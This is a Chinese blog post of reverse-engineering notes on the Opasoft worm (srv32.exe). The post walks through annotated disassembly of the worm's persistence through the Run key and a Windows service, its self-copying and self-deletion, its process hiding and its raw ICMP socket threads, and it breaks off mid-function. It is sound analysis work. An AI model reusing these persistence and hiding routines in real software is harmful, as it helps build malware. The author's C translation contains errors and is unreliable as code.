蠕虫 srv32.exe 逆向分析笔记
来源：互联网 发布：algorithm算法 编辑：程序博客网 时间：2024/05/17 09:32
启动篇
文件名称：srv32.exe
蠕虫名称：Net-Worm.Win32.Opasoft.s
工具： IDA 4.5.1, OllyDbg V1.10
脱壳，用IDA反汇编，到程序的开始位置：
CODE:00401000 start proc near
CODE:00401000 enter 314h, 0
CODE:00401004 lea eax, [ebp+ExistingFileName] ; 存储病毒路径＋名称
CODE:0040100A push 100h ; nSize
CODE:0040100F push eax ; lpFilename
CODE:00401010 push 0 ; hModule
CODE:00401012 call GetModuleFileNameA ; 获得病毒的路径名称
CODE:00401017 call GetCommandLineA
CODE:0040101C mov esi, eax
;程序首先调用GetModuleFileNameA和GetCommandLineA得到程序所在路径，文件名称和参数信息。
CODE:0040101E cld
CODE:0040101F mov ah, 20h
CODE:00401021 lodsb
;把DS:[ESI]指向的字节存到AL中,即第一个字符,这里ESI指向命令行字符串
CODE:00401022 cmp al, 22h ; 比较ESI指向的第一个字符是否是：双引号
CODE:00401024 jnz short loc_401028 ; 在这里没有跳转
CODE:00401026 mov ah, al
CODE:00401028 loc_401028:
CODE:00401028 lodsb
CODE:00401029 test al, al
CODE:0040102B jz short loc_40105C ; 判断是否到命令行字符串的结束符
CODE:0040102D cmp al, ah ; 比较
CODE:0040102F jnz short loc_401028
;找下一个 双引号 出现的位置，即定位到命令行的程序名称末尾，再往后可能就是参数了
CODE:00401031 loc_401031: lodsb
CODE:00401032 test al, al ; 判断是否到命令行字符串的结束符
CODE:00401034 jz short loc_40105C
CODE:00401036 cmp al, 20h
CODE:00401038 jz short loc_401031
;取第二此出现双引号以后的第一个非空格字符，当然是参数了
CODE:0040103A and al, 0DFh ; 小写字母转换成大写字母
CODE:0040103C cmp al, 55h ; 命令行参数－'U'
CODE:0040103E jz loc_401107
CODE:00401044 cmp al, 44h ; 参数'D'
CODE:00401046 jz loc_401165
CODE:0040104C cmp al, 43h ; 参数'C'
CODE:0040104E jz loc_401170
CODE:00401054 cmp al, 53h ; 参数'S'
CODE:00401056 jz loc_4011DA
;把参数转换成大写，跳到相应的处理代码，如果没有参数就继续执行，我们先看又参数的情况
先来看参数U吧，用OllyDbg打开Srv32.exe,选择菜单调试->参数，加上参数u，找到loc_401107，按F4执行到：
CODE:00401107 loc_401107:
CODE:00401107 push esi ;耶，怎么用ESI，esi已经指向命令行字符串的末尾
了啊？先不管看看下面做什么操作
CODE:00401108 call sub_40132B ;调用了个子程序进去看看
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径＋名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040132B sub_40132B proc near
CODE:0040132F loc_40132F:
CODE:0040132F push [ebp+lpFileName] ;？这里的文件名为空（PUSH ESI）
CODE:00401332 call DeleteFileA ;删除文件，文件名为空，搞什么鬼
CODE:00401337 test eax, eax
CODE:00401339 jnz short locret_401351 ;DeleteFileA成功退出Sub_40132B
CODE:0040133B call GetLastError ;在这里我们返回值为3（系统找不到指定的路径）
CODE:00401340 cmp eax, 2 ; 找不到指定文件
CODE:00401343 jz short locret_401351 ; 退出
CODE:00401345 push 3E8h ; dwMilliseconds
CODE:0040134A call Sleep
CODE:0040134F jmp short loc_40132F ;程序在这里一直循环，难道是BUG,不会吧？
CODE:00401351 locret_401351:
CODE:00401351 leave
CODE:00401352 retn 4
CODE:00401352 sub_40132B endp
;sub_40132B是一段删除文件的操作，而文件名就是[esi]，看来参数U后面还得加上个文件名，我们把参数改成
uabc.txt,继续往下看
从sub_40132B出来：
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径＋名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040111E jz loc_401218 ; CopyFile失败跳转
把病毒拷贝到新的路径，哦，U后面的参数是拷贝病毒的位置和新的名字，如果这个新的路径有这个文件就~~~~~
~~调用sub_40132B函数删除这个文件（真狠啊！）
现在知道sub_40132B的作用了，好咱们继续往下走。
CODE:00401124 lea edi, [ebp+var_300]
CODE:0040112A push esi
CODE:0040112B push edi
CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131 push edi
CODE:00401132 call lstrlen
CODE:00401137 add edi, eax
CODE:00401139 mov ax, 4420h
CODE:0040113D stosw ; 存储0x4420
CODE:0040113F lea eax, [ebp+ExistingFileName]
CODE:00401145 push eax
CODE:00401146 push edi
CODE:00401147 call lstrcpy
CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152 push eax
CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程
CODE:00401158 test eax, eax ; eax为CreateProcessA返回值
CODE:0040115A jnz locret_40123C ; 创建进程成功跳转，执行新进程，退出此程序
CODE:00401160 jmp loc_401218
这段代码中srv32通过调用CreateProcess创建了一个进程，新进程的执行文件就是上面CopyFile函数拷贝出的
srv32的一个拷贝。
如果创建进程成功就执行新的进程，退出srv32；否则跳转到如下位置：
CODE:00401218 loc_401218:
CODE:00401218 push offset aKernel32_dll ; lpModuleName
CODE:0040121D call GetModuleHandleA
CODE:00401222 push offset aRegisterservic ; lpProcName
CODE:00401227 push eax ; hModule
CODE:00401228 call GetProcAddress ; 获得RegisterServiceProcess(Win9x函数)地址
CODE:0040122D test eax, eax
CODE:0040122F jz short loc_401237
CODE:00401231 push 1 ; dwType:
CODE:00401231 ; RSP_SIMPLE_SERVICE = 1 隐藏进程
CODE:00401231 ; RSP_UNREGISTER_SERVICE = 0 取消进程隐藏
CODE:00401231 ;
CODE:00401233 push 0 ; dwPID = NULL 代表当前进程
CODE:00401235 call eax ; 调用RegisterServiceProcess函数
CODE:00401237
CODE:00401237 loc_401237:
CODE:00401237 call sub_40123E
CODE:0040123C
CODE:0040123C locret_40123C:
CODE:0040123C leave
CODE:0040123D retn
CODE:0040123D start endp
;如果创建进程没有成功，调用RegisterServiceProcess函数来隐藏进程，最后调用sub_40123E。
;注：RegisterServiceProcess 是Win9x中一个未公开的API函数，调用时需要通过GetProcAddress得到其地址，
;参数dwType为1时隐藏进程，为1时取消隐藏，参数dwPID为进程的PID，为零则表示当前进程。
再看下一个参数'D':
CODE:00401165 loc_401165:
CODE:00401165 push esi
CODE:00401166 call sub_40132B
CODE:0040116B jmp loc_401218
;和参数 'U' 一样也调用了sub_40132B，只是少了CopyFile的动作，直接跳转到了RegisterServiceProcess
;看来D就是用来删除指定文件的
继续参数'C':
:00401170 loc_401170:
CODE:00401170 call sub_401355 ; 调用了GetProcAddress得到OpenSCManager..
;等函数的地址
CODE:00401175 test eax, eax ; 返回1函数 Sub_401355调用成功，0失败。
CODE:00401177 jz loc_401218 ; 失败则跳转
;用参数'C'时，调用了下面的函数sub_401355
CODE:00401355 sub_401355 proc near
CODE:00401355 hModule = dword ptr -8
CODE:00401355 var_4 = dword ptr -4
CODE:00401355 enter 8, 0
CODE:00401359 push edi
CODE:0040135A mov [ebp+var_4], 0
CODE:00401361 push offset aAdvapi32 ; lpLibFileName
CODE:00401366 call LoadLibraryA
CODE:0040136B test eax, eax
CODE:0040136D jz short loc_4013A2 ; 调用LoadLibrary失败时跳转
CODE:0040136F mov [ebp+hModule], eax
CODE:00401372 mov edi, offset aOpenscmanagera ; "OpenSCManagerA"
CODE:00401377 mov esi, offset dword_406193
CODE:0040137C
CODE:0040137C loc_40137C:
CODE:0040137C push edi ; lpProcName
CODE:0040137D push [ebp+hModule] ; hModule
CODE:00401380 call GetProcAddress ; 获得函数Advapi32!OpenSCManagerA的地址
CODE:00401385 test eax, eax
CODE:00401387 jz short loc_4013A2 ; 调用GetProcAddress 失败时跳转
CODE:00401389 mov [esi], eax ; 把OpenSCManager的地址存到[ESI]中
CODE:0040138B add esi, 4
CODE:0040138E xor eax, eax
CODE:00401390 xor ecx, ecx
CODE:00401392 not ecx
CODE:00401394 repne scasb
CODE:00401396 cmp byte ptr [edi], 0
CODE:00401399 jnz short loc_40137C ; 循环，取
CODE:00401399 ; 00406127 aCreateservicea db 'CreateServiceA'
CODE:00401399 ; 00406136 aCloseserviceha db 'CloseServiceHandle'
CODE:00401399 ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA'
CODE:00401399 ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA'
CODE:00401399 ; 00406181 aSetservicestat db 'SetServiceStatus',0
CODE:00401399 ; 函数的地址
CODE:0040139B mov [ebp+var_4], 1 ; 修改返回值
CODE:004013A2
CODE:004013A2 loc_4013A2:
CODE:004013A2 mov eax, [ebp+var_4] ; 成功返回值1，失败返回0
CODE:004013A5 pop edi
CODE:004013A6 leave
CODE:004013A7 retn
CODE:004013A7 sub_401355 endp
;函数sub_401355 又调用了API函数LoadLibrary("Advapi32")得到Advapi32的模块句柄，然后又循环调用了
GetProcAddress 得到OpenSCManagerA, CreateServiceA, CloseServiceHandle,
StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatus这些函数的地址。
然后就调用OpenSCManager,CreateServiceA,创建一个服务srv32指向srv32程序，启动参数为'S'
如下代码：
CODE:0040117D push 2
CODE:0040117F push 0 ; SERVICES_ACTIVE_DATABASE
CODE:00401181 push 0 ; LocalMachine
CODE:00401183 call ds:dword_406193 ; OpenSCManager函数
CODE:00401189 test eax, eax
CODE:0040118B jz loc_401218 ; OpenSCManager失败则跳转
CODE:00401191 mov esi, eax ; handle of service control manager database
CODE:00401193 lea edi, [ebp+ExistingFileName] ; 病毒路径+文件名
CODE:00401199 push edi
CODE:0040119A call lstrlen ; （病毒路径＋文件名）的长度
CODE:0040119F mov edx, edi
CODE:004011A1 add edi, eax
CODE:004011A3 mov eax, 5320h
CODE:004011A8 stosd ; 存储0x5320h = " S"
CODE:004011A9 xor ecx, ecx
CODE:004011AB push ecx
CODE:004011AC push ecx
CODE:004011AD push ecx
CODE:004011AE push ecx
CODE:004011AF push ecx
CODE:004011B0 push edx ; "ExistingFileName" + " S"
CODE:004011B1 push 1 ; dwErrorControl = SERVICE_ERROR_NORMAL
CODE:004011B3 push 2 ; dwStartType = SERVICE_AUTO_START
CODE:004011B3 ; 自动启动
CODE:004011B5 push 10h ; dwServiceType =
CODE:004011B5 ; SERVICE_WIN32_OWN_PROCESS
CODE:004011B7 push 0F01FFh ; dwDesiredAccess
CODE:004011BC push offset aSrv32_0 ; lpDisplayName = "srv32"
CODE:004011C1 push offset aSrv32_0 ; lpServiceName = "srv32"
CODE:004011C6 push esi ; handle of service control manager database
CODE:004011C7 call ds:dword_406197 ; CreateServiceA函数
CODE:004011CD test eax, eax
CODE:004011CF jz short loc_401218
CODE:004011D1 push eax
CODE:004011D2 call ds:dword_40619B ; CloseServiceHandle函数
CODE:004011D8 jmp short loc_401218
;最后跳转到loc_401218调用RegsterServiceProcess隐藏进程，再调用sub_40123E
再看参数'S':
CODE:004011DA loc_4011DA:
CODE:004011DA call sub_401355
CODE:004011DF test eax, eax
CODE:004011E1 jz short loc_401218 ; 函数sub_401355失败跳转
CODE:004011E3 mov [ebp+var_314], offset aSrv32_0 ; "Srv32"
CODE:004011ED mov [ebp+var_310], offset loc_401467
CODE:004011F7 xor eax, eax
CODE:004011F9 mov [ebp+var_30C], eax
CODE:004011FF mov [ebp+var_308], eax
CODE:00401205 lea eax, [ebp+var_314]
CODE:0040120B push eax
CODE:0040120C call ds:dword_40619F ; StartServiceCtrlDispatcherA
CODE:00401212 test eax, eax
CODE:00401214 jnz short locret_40123C ; StartServiceCtrlDispatcherA调用成功跳转
CODE:00401216 jmp short loc_401218
同样也调用了函数sub_401355来得到OpenSCManager, StartServiceCtrlDispatcherA等函数的地址，随后调用
StartServiceCtrlDispatcherA(这个函数应该是来启动有参数'C'创建的服务的，具体大家还是看一下MSDN吧。)
如果启动服务失败就隐藏进程后调用sub_40123E。
上面都是一些加了参数的启动方式，但是一般病毒第一次启动时可能是没有参数的，因为第一次启动最可能就是
不小心双击了被感染程序，所以我们再看看没有参数时srv32的启动过程是什么样子的。
CODE:0040105C loc_40105C:
CODE:0040105C call GetVersion
CODE:00401061 bt eax, 1Fh ; 测试最高位（31 bit）是否为1，1为win9x平台
CODE:00401065 jnb loc_401218 ; 0为NT平台,最高位为0（CF = 0）时跳转，
CODE:00401065 ; 也就是系统为NT平台时跳转到loc_401218执行
CODE:00401065 ; RegisterServiceProcess隐藏进程
CODE:0040106B lea edi, [ebp+ExistingFileName]
首先调用GetVersion API函数得到操作系统平台信息，如果为NT平台跳转到loc_401218，再调用sub_40123E。
如果为9x平台，继续往下执行...
CODE:0040106B lea edi, [ebp+ExistingFileName]
CODE:00401071 push edi
CODE:00401072 call lstrlen ; 计算文件名+路径的长度
CODE:00401077 mov ecx, eax
CODE:00401079 add edi, eax
CODE:0040107B dec edi
CODE:0040107C mov al, 5Ch
CODE:0040107E std
CODE:0040107F repne scasb
CODE:00401081 cld
CODE:00401082 add edi, 2 ; 定位文件名
CODE:00401085 push offset aNew_exe ; "new.exe"
CODE:0040108A push edi
CODE:0040108B call lstrcmpi ; 不区分大小写比较
CODE:00401090 test eax, eax
CODE:00401092 jnz loc_401218 ; 文件名不是"new.exe"则跳转
这里不知道为什么和"new.exe"比较？？？
我得文件名是srv32.exe当然就跳转的loc_401218然后调用sub_40123E，
如果文件名是new.exe则执行下面的代码
CODE:00401098 lea esi, [ebp+Buffer]
CODE:0040109E push 100h ; uSize
CODE:004010A3 push esi ; lpBuffer
CODE:004010A4 call GetWindowsDirectoryA
CODE:004010A9 push esi
CODE:004010AA call lstrlen
CODE:004010AF add eax, esi
CODE:004010B1 push offset aSrv32_exe ; "//Srv32.exe"
CODE:004010B6 push eax
CODE:004010B7 call lstrcpy
CODE:004010BC lea eax, [ebp+hKey]
CODE:004010C2 push eax ; phkResult
CODE:004010C3 push 3 ; samDesired
CODE:004010C5 push 0 ; ulOptions
CODE:004010C7 push offset aSoftwareMicros ; lpSubKey
CODE:004010CC push 80000002h ; HKLM
CODE:004010D1 call RegOpenKeyExA
CODE:004010D6 cmp eax, 0
CODE:004010D9 jnz loc_401218
CODE:004010DF push esi
CODE:004010E0 call lstrlen
CODE:004010E5 inc eax
CODE:004010E6 push eax ; cbData
CODE:004010E7 push esi ; lpData
CODE:004010E8 push 1 ; dwType
CODE:004010EA push 0 ; Reserved
CODE:004010EC push offset aSrv32 ; lpValueName
CODE:004010F1 push [ebp+hKey] ; hKey
CODE:004010F7 call RegSetValueExA
CODE:004010FC push [ebp+hKey] ; hKey
CODE:00401102 call RegCloseKey
写注册表HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run项，用处不用说了吧^_^
CODE:00401107
CODE:00401107 loc_401107:
CODE:00401107 push esi ; 指定病毒被复制到的路径和文件名,用参数U
CODE:00401108 call sub_40132B ; 删除指定文件
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径＋名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040111E jz loc_401218 ; CopyFile失败跳转
把srv32复制到windows目录下
CODE:00401124 lea edi, [ebp+var_300]
CODE:0040112A push esi
CODE:0040112B push edi
CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131 push edi
CODE:00401132 call lstrlen
CODE:00401137 add edi, eax
CODE:00401139 mov ax, 4420h
CODE:0040113D stosw ; 存储0x4420 = " D"
CODE:0040113F lea eax, [ebp+ExistingFileName]
CODE:00401145 push eax
CODE:00401146 push edi
CODE:00401147 call lstrcpy
CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152 push eax
CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程
CODE:00401158 test eax, eax ; eax为CreateProcessA返回值
CODE:0040115A jnz locret_40123C ; 创建进程成功跳转，执行新进程，退出此程序
CODE:00401160 jmp loc_401218
然后创建一个进程，带参数'D'执行，参数'd'后面跟的是srv32.exe ,即执行windows目录下的程序后，删除自
身，最后也是跳转到loc_401218,再调用sub_40123E
到这里srv32的前期工作已经做好了，下面就快搞破坏了。
-----
蠕虫 srv32.exe 逆向分析笔记2
文件名称：srv32.exe
蠕虫名称：Net-Worm.Win32.Opasoft.s
工具： IDA 4.5.1, OllyDbg V1.10
CODE:0040123E sub_40123E proc near
CODE:0040123E Buffer = byte ptr -100h
CODE:0040123E enter 100h, 0
CODE:00401242 push offset aSrv3231415 ; lpName
CODE:00401247 push 0FFFFFFFFh ; bInitialOwner
CODE:00401249 push 0 ; lpMutexAttributes
CODE:0040124B call CreateMutexA ; 创建一个互斥对象"Srv3231415"
CODE:00401250 call GetLastError
CODE:00401255 test eax, eax
CODE:00401257 jnz locret_401329 ; 创建互斥失败则跳转;退出程序
CODE:0040125D call GetCurrentProcess
CODE:00401262 push 40h ; dwPriorityClass
CODE:00401264 push eax ; hProcess
CODE:00401265 call SetPriorityClass ; 设置优先级为IDLE_PRIORITY_CLASS ＝ 0x40
CODE:0040126A lea esi, [ebp+Buffer]
CODE:00401270 push 100h ; uSize
CODE:00401275 push esi ; lpBuffer
CODE:00401276 call GetWindowsDirectoryA ; 获得Windows目录
CODE:0040127B push esi ; lpPathName
CODE:0040127C call SetCurrentDirectoryA ; 设置当前目录为Windows目录
CODE:00401281 call sub_401C98 ; 查询是否写了注册表项
CODE:00401281 ; HKLM/Software/Microsoft/Windows/CurrentVersion/srv32
CODE:00401286 cmp ds:Data, 0
CODE:0040128D jz short loc_401294 ; 没有写注册表项或
CODE:0040128D ; HKLM/.../srv32/D = 0 则跳转
CODE:0040128F call sub_4030EB
进入sub_40123E后，首先创建了一个互斥Srv3231415，失败的话此程序就退出了；
然后又去查询注册表HKLM/Software/Microsoft/Windows/CurrenteVersion/srv32下
"D"的值，如果srv32存在D的键值不为0则调用sub_4030EB，代码如下：
CODE:004030EB sub_4030EB proc near
CODE:004030EB ThreadId = dword ptr -4
CODE:004030EB enter 4, 0
CODE:004030EF cmp ds:dword_406004, 0
CODE:004030F6 jnz locret_403184
CODE:004030FC mov ds:dword_406004, 1
CODE:00403106 push 18Ch ; uBytes
CODE:0040310B push 0 ; uFlags
CODE:0040310D call LocalAlloc
CODE:00403112 mov esi, eax
CODE:00403114 push esi ; lpWSAData
CODE:00403115 push 101h ; wVersionRequested
CODE:0040311A call WSAStartup
CODE:0040311F mov edi, eax
CODE:00403121 push esi ; hMem
CODE:00403122 call LocalFree
CODE:00403127 test edi, edi
CODE:00403129 jnz short loc_403186
CODE:0040312B push 1 ; protocol:ICMP
CODE:0040312D push 3 ; type: SOCK_RAW
CODE:0040312F push 2 ; AF_INET
CODE:00403131 call socket
CODE:00403136 cmp eax, 0FFFFFFFFh
CODE:00403139 jz short loc_403192
CODE:0040313B mov ds:s, eax
CODE:00403140 lea eax, [ebp+ThreadId]
CODE:00403143 push eax ; lpThreadId
CODE:00403144 push 0 ; dwCreationFlags
CODE:00403146 push ds:s ; lpParameter
CODE:0040314C push offset sub_403045 ; lpStartAddress
CODE:00403151 push 1000h ; dwStackSize
CODE:00403156 push 0 ; lpThreadAttributes
CODE:00403158 call CreateThread
CODE:0040315D lea eax, [ebp+ThreadId]
CODE:00403160 push eax ; lpThreadId
CODE:00403161 push 0 ; dwCreationFlags
CODE:00403163 push ds:s ; lpParameter
CODE:00403169 push offset sub_402EEE ; lpStartAddress
CODE:0040316E push 1000h ; dwStackSize
CODE:00403173 push 0 ; lpThreadAttributes
CODE:00403175 call CreateThread
CODE:0040317A mov ds:dword_406004, 2
CODE:00403184
CODE:00403184 locret_403184:
CODE:00403184 leave
CODE:00403185 retn
CODE:00403186 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403186
CODE:00403186 loc_403186: ; CODE XREF: sub_4030EB+3Ej
CODE:00403186 mov ds:dword_406004, 0
CODE:00403190 leave
CODE:00403191 retn
CODE:00403192 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403192
CODE:00403192 loc_403192: ; CODE XREF: sub_4030EB+4Ej
CODE:00403192 call WSACleanup
CODE:00403197 mov ds:dword_406004, 0
CODE:004031A1 leave
CODE:004031A2 retn
CODE:004031A2 sub_4030EB endp
在sub_4030EB里打开了socket，并创建了两个线程（动作越来越明显了 ^…^）。
由于我第一次执行没有此键值所以跳转了，我们就先看跳转的情况吧：
CODE:00401294 loc_401294:
CODE:00401294 mov ds:dword_406587, 0
CODE:0040129E call sub_4033E7
调用了一个call sub_4033E7跟进去看看...
CODE:004033E7 sub_4033E7 proc near
CODE:004033E7 push ebp
CODE:004033E8 mov esi, offset unk_406DB4
CODE:004033ED mov edi, offset dword_407750
CODE:004033F2 mov ebp, 0
CODE:004033F7 loc_4033F7:
CODE:004033F7 cmp ebp, 20h
CODE:004033FA jnb short loc_40342F ; 不低于0x20就跳转,退出循环1
CODE:004033FC mov ah, 1
CODE:004033FE loc_4033FE:
CODE:004033FE cmp ah, 40h
CODE:00403401 ja short loc_40342A ; 大于0x40就跳转
CODE:00403403 test ah, 1
CODE:00403406 jz short loc_403409 ; ah的第0位为0则跳转
CODE:00403408 lodsb
CODE:00403409 loc_403409:
CODE:00403409 shl al, 1
CODE:0040340B jnb short loc_403417
CODE:0040340D movzx ecx, ss:byte_406EB4[ebp]
CODE:00403414 bts [edi], ecx
CODE:00403417 loc_403417:
CODE:00403417 inc ebp
CODE:00403418 test ebp, 3
CODE:0040341E jnz short loc_403409
CODE:00403420 sub ebp, 4
CODE:00403423 inc ah
CODE:00403425 add edi, 4
CODE:00403428 jmp short loc_4033FE
CODE:0040342A ; //////////////////////////////////////////////////////////////
CODE:0040342A loc_40342A:
CODE:0040342A add ebp, 4
CODE:0040342D jmp short loc_4033F7
CODE:0040342F ; ///////////////////////////////////////////////////////////////
CODE:0040342F
CODE:0040342F loc_40342F:
CODE:0040342F pop ebp
CODE:00403430 retn
CODE:00403430 sub_4033E7 endp
这段代码用C表示：
BYTE array_406DB4[] =
{
0xE0, 0x4F, 0xD7, 0x14, 0x2E, 0xF2, 0xBD, 0x81,
0x3A, 0xA6, 0x6C, 0xCB, 0x59, 0x95, 0x03, 0x78,
0x4F, 0x1C, 0xE8, 0x82, 0xD4, 0x69, 0x21, 0xB7,
0xF5, 0xCB, 0x93, 0x7E, 0x3A, 0xA0, 0x56, 0x0D,
0xF3, 0x1D, 0x84, 0xE7, 0x6F, 0xB2, 0x38, 0x4E,
0x9C, 0x70, 0x21, 0xDA, 0xC6, 0x09, 0x5B, 0xA5,
0x0D, 0xE8, 0x7A, 0xB1, 0xA3, 0x4F, 0xD4, 0x12,
0x5B, 0x86, 0xC7, 0x6C, 0x90, 0x35, 0x2E, 0xF9,
0xAD, 0x07, 0x90, 0xE9, 0x63, 0x34, 0xF6, 0x5A,
0x12, 0xD8, 0xC5, 0x7E, 0xBC, 0x4B, 0x2F, 0x81,
0xD1, 0x6A, 0x4D, 0x90, 0x86, 0xF9, 0x38, 0x07,
0xB4, 0x1F, 0x2E, 0xC3, 0x5B, 0xA5, 0xE2, 0x7C,
0x7D, 0xD8, 0xEB, 0x35, 0x06, 0x6F, 0x90, 0xA3,
0x14, 0x27, 0x82, 0x5C, 0xB1, 0xCA, 0x4E, 0xF9,
0xA3, 0x6F, 0x90, 0x06, 0xCA, 0xB1, 0x7D, 0xD8,
0xF9, 0x14, 0x35, 0xEB, 0x5C, 0x27, 0x82, 0x4E,
0x2E, 0xCB, 0x42, 0x1C, 0x74, 0xA7, 0xBD, 0x61,
0x85, 0x50, 0x3F, 0xFA, 0xD3, 0x09, 0xE8, 0x96,
0x4B, 0x28, 0x1C, 0xB7, 0xA1, 0xDE, 0x72, 0x8D,
0xF6, 0x9F, 0xC0, 0x59, 0x6A, 0x34, 0x05, 0xE3,
0xCA, 0x1F, 0xA4, 0xF2, 0x97, 0x2C, 0x69, 0x85,
0x06, 0xD1, 0x3D, 0x4E, 0xE0, 0x7B, 0x53, 0xB8,
0x94, 0xE3, 0xF2, 0x5C, 0x29, 0x85, 0xCF, 0x3A,
0x7B, 0x0E, 0x41, 0xA7, 0x16, 0xD0, 0xB8, 0x6D,
0x4D, 0xB0, 0x2B, 0xE7, 0xF4, 0x09, 0x81, 0xDA,
0x3E, 0xC3, 0x95, 0x7C, 0x52, 0xAF, 0x68, 0x16,
0x16, 0x4B, 0xBD, 0xD8, 0xC1, 0x34, 0x7A, 0xE7,
0xA9, 0xF5, 0x60, 0x8F, 0x0E, 0x52, 0x93, 0x2C,
0xD1, 0x2F, 0x8D, 0x48, 0x6A, 0xF3, 0xB7, 0x14,
0xAC, 0x95, 0x36, 0xEB, 0x50, 0x0E, 0xC9, 0x72,
0x72, 0xB1, 0x4E, 0x17, 0x94, 0xCA, 0xE8, 0x2D,
0x0F, 0x6C, 0xA9, 0xD0, 0xF3, 0x35, 0x56, 0x8B
}
BYTE array_406EB4[] =
{
0x1A, 0x12, 0x0C, 0x04, 0x16, 0x07, 0x01, 0x11,
0x0B, 0x13, 0x05, 0x1D, 0x09, 0x0F, 0x19, 0x02,
0x1B, 0x15, 0x0A, 0x00, 0x1F, 0x06, 0x18, 0x10,
0x03, 0x17, 0x0D, 0x1C, 0x1E, 0x08, 0x14, 0x0E
};
/*****十进制表示
BYTE array_406EB4[] =
{
26,18,12,04,22,07,01,17,
11,19,05,29,09,15,25,02,
27,21,10,00,31,06,24,16,
03,23,13,28,30,08,20,14
}
*****/
DWORD pdw_407750[8*0x40];
//i=ebp, j=ah, k=al
int i,j,m=0,n;
BYTE k,temp;
BOOL b;
for(i=0; i< 0x20; i+=4)
{
j = 1;
while(j <= 0x40)
{
//奇偶判断
if( (j & 1) != 0)
{
k = array_406DB4[m];
m++;
}
do{
b = k & 0x80;
k << 1;
if(b)
{
temp = array_406EB4;
*pwd_407750 │= (temp+1);
}
i++;
}while( (i&3) !=0 );
i -= 4;
j++
pdw_407750++; //edi += 4;
}
}
此处生成了256字节如下数据：
00407750 00 10 04 04 00 00 00 00 00 00 04 00 10 10 04 04 ................
00407760 10 00 04 04 10 10 04 00 10 00 00 00 00 00 04 00 ................
00407770 00 10 00 00 00 10 04 04 10 10 04 04 00 10 00 00 ................
00407780 10 10 00 04 10 00 04 04 00 00 00 04 10 00 00 00 ................
00407790 10 10 00 00 00 10 00 04 00 10 00 04 00 10 04 00 ................
004077A0 00 10 04 00 00 00 04 04 00 00 04 04 10 10 00 04 ................
004077B0 10 00 04 00 10 00 00 04 10 00 00 04 10 00 04 00 ................
004077C0 00 00 00 00 10 10 00 00 10 10 04 00 00 00 00 04 ................
004077D0 00 00 04 00 10 10 04 04 10 00 00 00 00 00 04 04 ................
004077E0 00 10 04 04 00 00 00 04 00 00 00 04 00 10 00 00 ................
004077F0 10 00 04 04 00 00 04 00 00 10 04 00 10 00 00 04 ................
00407800 00 10 00 00 10 00 00 00 10 10 00 04 10 10 04 00 ................
00407810 10 10 04 04 10 00 04 00 00 00 04 04 10 10 00 04 ................
00407820 10 00 00 04 10 10 00 00 10 10 04 00 00 10 04 04 ................
00407830 10 10 00 00 00 10 00 04 00 10 00 04 00 00 00 00 ................
00407840 10 00 04 00 00 10 04 00 00 00 00 00 10 00 04 04 ................
现在还不知道这些数据做什么用的，先继续往下看...
CODE:004012A3 loc_4012A3:
CODE:004012A3 push offset aSrv32res ; "Srv32Res"
CODE:004012A8 call sub_4019A5 ; 打开已存在的文件srv32res，并得到其大小
CODE:004012AD inc eax ; eax为文件srv32res的大小
CODE:004012AE cmp eax, 9
CODE:004012B1 jnb short loc_4012C3 ; 如果文件srv32res大于8个字节则跳转
CODE:004012B3 push offset aSccss ; "sccss"
CODE:004012B8 call sub_4019A5 ; 打开文件sccss
CODE:004012BD inc eax
CODE:004012BE cmp eax, 9
CODE:004012C1 jb short loc_4012C8 ; 如果文件sccss小于8个字节则跳转
这里调用sub_4019A5来判断Windows目录下文件Srv32Res和sccss的大小，第一次执行到这里没有这两个
文件，所以跳转了。
CODE:004012C3 loc_4012C3:
CODE:004012C3 call sub_40148D
CODE:004012C8
CODE:004012C8 loc_4012C8:
CODE:004012C8 call sub_401575
CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF jnz short loc_4012E5
CODE:004012D1 call sub_40148D
CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE
CODE:004012D8 push ds:hHandle ; hHandle
CODE:004012DE call WaitForSingleObject
CODE:004012E3 jmp short loc_4012C8
这一段代码会不断执行 sub_401575,sub_40148D直到sub_401575的返回值（eax）不等于0；
看了这两个函数应该事关键了，我们先看看函数sub_401575:
CODE:00401575 sub_401575 proc near
CODE:00401575 var_4 = dword ptr -4
CODE:00401575 enter 4, 0
CODE:00401579 push esi
CODE:0040157A mov [ebp+var_4], 0
CODE:00401581 push offset dword_406587
CODE:00401586 call sub_4014CA ; 读文件Srv32tsk的内容,存放到[406587]
CODE:0040158B cmp eax, 0FFFFFFFFh
CODE:0040158E jz short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590 mov esi, eax
CODE:00401592 mov [ebp+var_4], 1
CODE:00401599 cmp ds:dword_406593, 0
CODE:004015A0 jz short loc_4015AA
CODE:004015A2 push esi ; hObject
CODE:004015A3 call CloseHandle
CODE:004015A8 jmp short loc_4015E1
跟进sub_4014CA看看它读文件的操作
CODE:004014CA sub_4014CA proc near
